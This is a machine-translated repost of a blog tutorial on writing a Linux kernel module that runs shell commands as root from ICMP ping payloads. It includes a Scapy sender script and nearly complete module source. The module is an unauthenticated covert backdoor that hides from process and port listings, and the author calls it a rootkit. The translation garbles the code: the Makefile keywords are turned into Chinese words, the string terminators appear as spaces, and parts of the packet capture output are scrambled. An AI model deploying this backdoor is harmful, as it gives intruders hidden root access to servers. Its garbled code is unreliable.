ICMP 上的核殼

ICMP 上的核殼

TL博士:我正在編寫一個核心模組,即使你的 SSH 關閉,它也會從 ICMP 有效負載中讀取命令並在伺服器上執行它們。對於最沒有耐心的人來說,整個程式碼都在 GitHub上.

注意! 經驗豐富的 C 程式設計師看到這裡可能會淚流滿面!我什至可能在術語上有所偏差,但歡迎任何批評指正。這篇文章是寫給那些只有 C 程式設計基礎知識,但想了解其底層原理的人的。 Linux.

在我的第一個評論中 文章 提到了 SoftEther VPN,它可以模仿一些「常規」協議,特別是 HTTPS、ICMP 甚至 DNS。我只能想像第一個是如何運作的,因為我熟悉 HTTP(S),我必須研究通過 ICMP 和 DNS 的隧道。

ICMP 上的核殼

是的,我在2020年才知道可以在ICMP封包中插入任意載重。不過亡羊補牢,為時未晚!如果能做些什麼來解決這個問題,那就應該去做。由於我日常工作主要使用命令列,包括透過SSH連接,所以我首先想到的就是ICMP shell。為了建立一個完整的防禦系統,我決定將其編寫成一個模組。 Linux 我用的是一種我只略懂皮毛的語言。這樣的 shell 不會出現在進程列表中,它可以載入到核心中,不會駐留在檔案系統中,監聽連接埠清單中也不會顯示任何可疑之處。它的功能已經是一個完整的 rootkit,但我希望對其進行改進,並將其作為最後的 shell,在系統負載過高,無法透過 SSH 登入並執行任何基本任務時使用。 echo i > /proc/sysrq-trigger無需重啟即可恢復存取。

我們需要一個文字編輯器、Python 和 C 語言的基本程式設計技能、Google 和 虛擬的 如果一切都崩潰了,你不會介意把它扔到刀下(可選 - 本地 VirtualBox/KVM/等),然後我們就開始吧!

客戶端

我覺得客戶端部分我得寫個大概 80 行的腳本,不過有好心人幫我寫好了 所有工作。程式碼出乎意料的簡單,只有 10 行:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

這個腳本接受兩個參數:一個位址和一個有效載荷。發送之前,有效載荷前面會新增一個密鑰 run:,我們將需要它來排除具有隨機有效載荷的資料包。

核心需要權限才能建構資料包,因此腳本需要以 root 使用者身分執行。別忘了授予執行權限並安裝 Scapy 本身。 Debian 有一個名為 python3-scapy。現在您可以檢查它的工作原理。

命令的啟動和輸出
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

這是嗅探器中的樣子
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 運行:Hello, world
0010 21!
Data: 72756e3a48656c6c6f2c20776f726c6421
[長度:17]

幀 2:線路上有 59 個位元組(472 位元),在介面 wlp59s472、id 1 上捕獲了 0 個位元組(0 位元)
Internet 協定版本 4,來源:45.11.26.232,目標:192.168.0.240
互聯網控制消息協議
類型:0(回顯(ping)回覆)
代號:0
校驗和:0xde03 [正確]
[校驗與狀態:良好]
標識符(BE):0(0x0000)
識別符(LE):0(0x0000)
序號(BE):0(0x0000)
序號(LE):0(0x0000)
[請求訊框:1]
[反應時間:19.094 毫秒]
數據(17 位元組)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 運行:Hello, world
0010 21!
Data: 72756e3a48656c6c6f2c20776f726c6421
[長度:17]

捕獲的^C2資料包

響應資料包中的有效載荷不會改變。

核心模組

在虛擬機器中構建 Debian 至少需要 make и linux-headers-amd64,其餘部分將作為依賴項引入。我不會在文章中提供完整的程式碼,你可以從 GitHub 克隆它。

設定鉤子

首先,我們需要兩個函數來載入模組和卸載模組。卸載函數不是必要的,但是 rmmod 它不起作用,只有關閉時才會卸載模組。

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

這裡發生了什麼事:

  1. 引入兩個頭檔用於對模組本身和 netfilter 進行操作。
  2. 所有操作都經過 netfilter,您可以在其中設定鉤子。為此,您需要聲明將配置鉤子的結構。最重要的是指定將作為鉤子執行的函數: nfho.hook = icmp_cmd_executor; 我稍後會講到該函數本身。
    然後我設定處理資料包的時刻: NF_INET_PRE_ROUTING 指定在資料包首次出現在內核時進行處理。可以使用 NF_INET_POST_ROUTING 在資料包退出核心時進行處理。
    我在 IPv4 上掛了一個過濾器: nfho.pf = PF_INET;.
    我為我的鉤子指定了最高優先級: nfho.priority = NF_IP_PRI_FIRST;
    我將資料結構註冊為鉤子本身: nf_register_net_hook(&init_net, &nfho);
  3. 在最後一個函數中,鉤子被移除。
  4. 許可證聲明得很明確,因此編譯器不會抱怨。
  5. 功能 module_init() и module_exit() 定義其他函數作為模組的初始化和終止函數。

提取有效載荷

現在我們需要提取有效載荷,這被證明是最困難的任務。核心沒有用於處理有效載荷的內建函數,您只能解析更高層級協定的標頭。

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == ' ')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = ' ';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == ' ')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

發生了什麼事:

  1. 必須包含額外的頭文件,這次是為了操作 IP 和 ICMP 頭。
  2. 我設定了該行的最大長度: #define MAX_CMD_LEN 1976。為什麼是這個?因為編譯器抱怨太大了!我已經被告知我需要處理堆疊和堆,有一天我一定會這樣做,甚至可能修復程式碼。我立即設定了該命令所在的行: char cmd_string[MAX_CMD_LEN];。它應該在所有功能中可見,我將在第 9 點更詳細地討論這一點。
  3. 現在我們需要初始化(struct work_struct my_work;) 結構並將其連結到另一個函數 (DECLARE_WORK(my_work, work_handler);)。我還將在第九點討論為什麼這是必要的。
  4. 現在我聲明一個將成為鉤子的函數。接受的類型和參數由 netfilter 決定,我們只關心 skb。這是套接字緩衝區,一種包含有關資料包的所有可用資訊的基本資料結構。
  5. 要運行該函數,您將需要兩個結構和幾個變量,包括兩個迭代器。
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. 我們可以繼續進行邏輯推理。該模組不需要 ICMP Echo 以外的任何資料包來運行,因此我們使用內建函數解析緩衝區並拋出所有非 ICMP 和非 Echo 資料包。返回 NF_ACCEPT 表示接受包裹,但您也可以透過退回來丟棄包裹 NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    我還沒有測試過不檢查 IP 標頭會發生什麼。我對 C 語言的一點了解告訴我,如果沒有額外的檢查,肯定會發生可怕的事情。如果您能勸阻我,我會很高興!

  7. 現在資料包的類型完全正確,您可以提取資料。如果沒有內建函數,您必須先取得指向有效載荷開始處的指標。這是透過一個地方完成的,您需要將指標指向 ICMP 標頭的開頭並將其移動該標頭的大小。一切都利用結構。 icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    標頭的末尾必須與有效載荷的末尾匹配 skb,因此我們透過核方法從相應的結構得到它: tail = skb_tail_pointer(skb);.

    ICMP 上的核殼

    圖片被偷了 ,您可以閱讀有關套接字緩衝區的更多資訊。

  8. 收到開始和結束指標後,我們可以將資料複製到字串中 cmd_string,檢查前綴 run: 如果資料包遺失則丟棄該資料包,或重寫該行並刪除該前綴。
  9. 好了,現在我們可以呼叫另一個處理程序: schedule_work(&my_work);。由於無法向此類呼叫傳遞參數,因此包含命令的行必須是全域的。 schedule_work() 會將與傳遞的結構關聯的函數放入任務排程器的通用佇列中並終止,從而無需等待命令完成。這是必要的,因為鉤子必須非常快。否則,您可以選擇不啟動任何程式或引發內核恐慌。拖延就如同死亡!
  10. 就這樣,您可以接受包裹並進行相應的退貨。

在用戶空間呼叫程式

這個功能是最容易理解的。它的名字 DECLARE_WORK(),類型和接受的參數並不有趣。我們取出一行命令並將其完整傳遞給 shell。讓他自己弄清楚解析、搜尋二進位檔案和其他一切。

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. 將參數設定為字串數組 argv[]。我假設每個人都知道程式實際上是以這種方式執行的,而不是以帶有空格的連續行執行的。
  2. 我們設定環境變數。我只插入了包含最少路徑集的 PATH,希望每個人都已經將它們組合在一起 /bin с /usr/bin и /sbin с /usr/sbin。其他路徑很少有任何實際意義。
  3. 好了,開始吧!核函數 call_usermodehelper() 接受輸入。二進位路徑、參數數組、環境變數數組。這裡我也假設大家都明白將可執行檔的路徑當作單獨的參數傳遞的意義,但是你可以詢問。最後一個參數指定是否等待進程終止(UMH_WAIT_PROC),啟動進程(UMH_WAIT_EXEC)或根本不要等待(UMH_NO_WAIT)。還有更多 UMH_KILLABLE,我懶得去深究。

裝配

核模組的組裝是透過核子製造框架進行的。被叫 make 在與核心版本相關的特殊目錄內(定義如下: KERNELDIR:=/lib/modules/$(shell uname -r)/build),並將模組的位置傳遞給變數 M 在爭論中。 icmpshell.ko 和 clean 目標完全使用這個框架。在 obj-m 指定將轉換為模組的目標檔案。重塑文法 main.o в icmpshell.o (icmpshell-objs = main.o) 對我來說似乎不太合邏輯,但就這樣吧。

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

全部:icmpshell.ko

icmpshell.ko:main.c
製作-C $(KERNELDIR)M = $(PWD)模組

乾淨的:
使-C $(KERNELDIR)M = $(PWD)清潔

我們收集: make。載入中: insmod icmpshell.ko。完成後,您可以檢查: sudo ./send.py 45.11.26.232 "date > /tmp/test"。如果你的機器上有一個文件 /tmp/test 並且它包含發送請求的日期,這意味著你所做的一切都是正確的,我也做的一切都是正確的。

結論

我第一次接觸核子工程的經驗比我想像的要容易得多。即使沒有任何 C 開發經驗,依靠編譯器提示和 Google 搜尋結果,我也能編寫一個工作模組,感覺自己像個內核駭客,同時也像個腳本小子。除此之外,我還去了 Kernel Newbies 頻道,他們建議我使用 schedule_work() 而不是打電話 call_usermodehelper() 自己陷入了陷阱之中,感到羞愧,懷疑這是一個騙局。一百行程式碼花了我大約一周的業餘時間進行開發。成功的經驗打破了我對系統開發極為複雜的個人誤解。

如果有人同意在 github 上進行程式碼審查,我將不勝感激。我確信我犯了很多愚蠢的錯誤,特別是在處理字串時。

ICMP 上的核殼

來源: www.habr.com

為具有 DDoS 保護、VPS VDS 服務器的站點購買可靠的主機 🔥 購買具備 DDoS 防護的可靠網站寄存服務,包括 VPS 和 VDS 伺服器 | ProHoster